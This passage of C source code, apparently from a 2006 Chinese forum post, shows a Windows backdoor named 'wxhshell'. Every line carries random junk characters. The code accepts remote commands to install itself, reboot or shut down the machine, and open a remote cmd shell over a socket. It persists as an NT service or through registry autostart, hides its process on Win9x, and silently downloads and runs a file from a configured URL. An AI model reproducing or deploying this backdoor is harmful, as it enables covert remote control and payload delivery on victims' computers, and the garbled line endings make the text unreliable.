  o|(5Sr&H  
  // 帮助 NXY jb(4:  
  case '?': { I#M3cI!X?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;!4gDvm  
    break; M<fhQJ  
  } `a& kD|Yh  
  // 安装 FM@iIlY"  
  case 'i': { K T}  
    if(Install()) &r5q,l&@n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5yy:JTAH5  
    else `C+<! )2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #.bW9j/  
    break; T pkSY`T  
    } qos7u91z  
  // 卸载 u*l|MIi6J  
  case 'r': { fGo4&( U  
    if(Uninstall()) =?fz-HB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $<^t][{  
    else ,BU;i%G&s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'YNaLZ20  
    break; I &t~o  
    } Eah6"j!B8n  
  // 显示 wxhshell 所在路径 cj/`m$  
  case 'p': { I{`70  
    char svExeFile[MAX_PATH]; wHc my  
    strcpy(svExeFile,"\n\r"); HGDrH   
      strcat(svExeFile,ExeFile); gb ga"WO  
        send(wsh,svExeFile,strlen(svExeFile),0); 200yN+ec  
    break; ~U9K<_U  
    } 'ZfgCu)St  
  // 重启 qLN^9PdEE  
  case 'b': { 2@&r!Q|1vR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |\5^ub,m  
    if(Boot(REBOOT)) 0lfK} a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "F<CGSo  
    else { BX,)G HE  
    closesocket(wsh); Aw o)a8e  
    ExitThread(0); (yOkf-e2y  
    } ~C.*Vc?|  
    break; 0+1wi4wy/  
    } 1uw#;3<L  
  // 关机 Ifj&S'():  
  case 'd': { CLb6XnkcA\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~GaGDS\V  
    if(Boot(SHUTDOWN)) AZtS4]4G)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [VCC+_  
    else { tZrc4$D-  
    closesocket(wsh); kNEEu! G  
    ExitThread(0); Lsmcj{1d  
    } C|(A/b  
    break; nV;'UpQw  
    } RgE`Hr  
  // 获取shell \oQ]=dDCd%  
  case 's': { DDg\oGLp  
    CmdShell(wsh); *sho/[~_  
    closesocket(wsh); 'Wonz<{'  
    ExitThread(0); UkV?,P@l  
    break; (C2 XFg_  
  } Nk`UQ~g$  
  // 退出 BT$p~XB  
  case 'x': { n/H OP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0J)s2&H  
    CloseIt(wsh); W .7rHa  
    break; {|+Y;V`  
    } (L_-!=e  
  // 离开 R$awgSE  
  case 'q': { IP~!E_e}\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^4y]7 p  
    closesocket(wsh); ;SR ESW  
    WSACleanup(); US6_5>/  
    exit(1); 092t6D}  
    break;  R$a<=  
        } EP;/[O  
  } !QUY (  
  } j =_rUc'Me  
Q M,!-~t  
  // 提示信息 &K)8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); weitDr6  
} )Nv1_en<!  
  } VSj!Gm0LB  
~xH&"1  
  return; +Q*`kg'  
} 7p&jSOY  
XX;4A  
// shell模块句柄 30Yis_l2h  
int CmdShell(SOCKET sock) .p`4>XA  
{ g8),$:Uw  
STARTUPINFO si; adON&<  
ZeroMemory(&si,sizeof(si)); bQll;U^A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Cq7_rq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ntiS7g e1  
PROCESS_INFORMATION ProcessInfo; ZO}Og&%  
char cmdline[]="cmd"; #m+!<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l{3B }_,  
  return 0; `sxfj)s  
} uFd$*`jS  
q^@*{H  
// 自身启动模式 +Qs]8*^?;  
int StartFromService(void) >%JPgr/ 8  
{ NzRvbj]  
typedef struct jXcJ/g(X3  
{ )n/%P4l  
  DWORD ExitStatus; ]n ?x tI  
  DWORD PebBaseAddress;  w-jElV  
  DWORD AffinityMask; 0MQ= Rt  
  DWORD BasePriority; `S&a.k  
  ULONG UniqueProcessId; 3KLUH=)P  
  ULONG InheritedFromUniqueProcessId; kH!Z|P s?R  
}   PROCESS_BASIC_INFORMATION; Zw]`z*,yRA  
@0`A!5h?u  
PROCNTQSIP NtQueryInformationProcess; >&L|oq7$  
FR(W.5[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B.<SC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T}~TW26v  
~{c ?-qb  
  HANDLE             hProcess; yr]ja-Y  
  PROCESS_BASIC_INFORMATION pbi; O-- p)\   
BEZ~<E&0H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t@RYJmW  
  if(NULL == hInst ) return 0; aCQtE,.  
\lL[08G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P{L=u74b{x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SNEhP5!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vr!J3H f  
 a+h$u  
  if (!NtQueryInformationProcess) return 0; J )1   
^ 5 >e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U}v`~' K  
  if(!hProcess) return 0; B6XO&I1c  
tMr7d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &|SWy 2 N  
*0WVrM06?  
  CloseHandle(hProcess); :\T Mm>%q  
jiI=tg;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); # @\3{;{R  
if(hProcess==NULL) return 0; wcHk]mLM  
FOaA}D `]  
HMODULE hMod; gv!8' DKn  
char procName[255]; Z0|5VLk,<{  
unsigned long cbNeeded; pP\Cwo #,  
!3Dq)ebBz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o7y<Zd`Bj  
J?4{#p  
  CloseHandle(hProcess); H7O~So*N5  
=4y gbk  
if(strstr(procName,"services")) return 1; // 以服务启动 *MJm:  
v|?@k^Ms  
  return 0; // 注册表启动 'Kelq$dn#  
} 68%aDs  
*4O=4F)x  
// 主模块 dQX-s=XJ  
int StartWxhshell(LPSTR lpCmdLine) D{9a'0J  
{ egmUUuO  
  SOCKET wsl; zcpL[@B  
BOOL val=TRUE; dg D-"-O  
  int port=0; mY|c7}>V;  
  struct sockaddr_in door; sA0 Ho6  
zI88IM7/  
  if(wscfg.ws_autoins) Install(); ! FcGa  
l9p  6I  
port=atoi(lpCmdLine); o<g?*"TRh  
/%$Zm^8c  
if(port<=0) port=wscfg.ws_port; LUbhTc  
iUKjCq02  
  WSADATA data; U#<d",I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YV>a 3  
FT).$h~+4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iIfiv<(ChM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IPo t][ N>  
  door.sin_family = AF_INET; +Z#=z,.^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K5>3  
  door.sin_port = htons(port); eAHY/Y!  
5!0iK9O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /08FV|tX)  
closesocket(wsl); 2:LUB)&i  
return 1; >}k*!J|  
} 7uBx  
j }~?&yB  
  if(listen(wsl,2) == INVALID_SOCKET) { {uDW<u_!  
closesocket(wsl); (6%T~|a  
return 1; hzD)yf  
} H4i}gdR  
  Wxhshell(wsl); 2"0VXtv6  
  WSACleanup(); gI:g/ R  
!G%!zNA S  
return 0; q 4BXrEOw  
&+9 ;  
} ]dycesc'  
\Y#  
// 以NT服务方式启动 _KRnx-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =lNW1J\SW  
{ V[ UOlJ  
DWORD   status = 0; @Z]0c=-+  
  DWORD   specificError = 0xfffffff; bR`5g  
(lsG4&\0F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b+s'B4@rb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -]EL|_;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q/U-WQ<+  
  serviceStatus.dwWin32ExitCode     = 0; F6{g{ B  
  serviceStatus.dwServiceSpecificExitCode = 0; ,#a4P`q'iC  
  serviceStatus.dwCheckPoint       = 0; ? Fqh i  
  serviceStatus.dwWaitHint       = 0; /%YW[oY{V  
]36SF5<0r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?Ld),A/c  
  if (hServiceStatusHandle==0) return; "jZZ>\  
a-5UG#o  
status = GetLastError(); at>_EiS  
  if (status!=NO_ERROR) T*p7[}#  
{ _ep&`K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [[T7s(3  
    serviceStatus.dwCheckPoint       = 0; ueg%yvO  
    serviceStatus.dwWaitHint       = 0; \Y xG  
    serviceStatus.dwWin32ExitCode     = status; l@Lk+-[D  
    serviceStatus.dwServiceSpecificExitCode = specificError; +m_ .?V6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V .Kjcy  
    return; a$W O} g?  
  } AFt- V  
V``|<`!gd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R6~6b&-8  
  serviceStatus.dwCheckPoint       = 0; tbQY&TO1  
  serviceStatus.dwWaitHint       = 0; 5{ap  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S iNgV\('U  
} &zn|),  
h]zok}$  
// 处理NT服务事件,比如:启动、停止 ~XUUrg;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rEr=Mi2  
{ % :G78.  
switch(fdwControl) Ehy(;n)\  
{ TF%n1H-sF  
case SERVICE_CONTROL_STOP: c((3B  
  serviceStatus.dwWin32ExitCode = 0; (JU8F-/9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (4Db%Iw  
  serviceStatus.dwCheckPoint   = 0; za>%hZf\  
  serviceStatus.dwWaitHint     = 0; P, x" ![6  
  { |E13W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k(f),_  
  } 1P]J3o  
  return; HSud$(w  
case SERVICE_CONTROL_PAUSE: Eu |/pH=:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fMwF|;  
  break; qJ" (:~  
case SERVICE_CONTROL_CONTINUE: .J.}}"+U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :7@[=n  
  break; 8hV]t'/;  
case SERVICE_CONTROL_INTERROGATE: uVYn,DB`  
  break; :b9#e g  
}; TJ)Nr*U3_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u`EK^\R  
} azZ|T{S  
.p{lzI9  
// 标准应用程序主函数 eg~ Dm>Es  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y0O(n/  
{ J rK{MhO  
dC<%D'L*  
// 获取操作系统版本 h5{//0 y  
OsIsNt=GetOsVer(); >MJ %6A>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hMupQDv/I  
mq{Z Q'  
  // 从命令行安装 )t~ad]oM  
  if(strpbrk(lpCmdLine,"iI")) Install(); Tw\@]fw  
4=MVn  
  // 下载执行文件 '4{@F~fu  
if(wscfg.ws_downexe) { ~vP_c(8f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A._CCou  
  WinExec(wscfg.ws_filenam,SW_HIDE); xK8m\=#  
} NO/$} vw  
Gb2|e.z  
if(!OsIsNt) { hzbvR~rn  
// 如果时win9x,隐藏进程并且设置为注册表启动 '3XOU.  
HideProc(); :qS~"@?<  
StartWxhshell(lpCmdLine); Qc33C A  
} yO-2.2h  
else ^PdD-tY<  
  if(StartFromService()) qY&(O`?m&  
  // 以服务方式启动 Cpzdk~+H  
  StartServiceCtrlDispatcher(DispatchTable); lC*xyO K  
else tL&_@PD)3  
  // 普通方式启动 .KYs5Qu  
  StartWxhshell(lpCmdLine); +%CXc%  
.aL%}`8l?  
return 0; E; yr46  
}
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只看该作者 1 发表于: 2006-10-10
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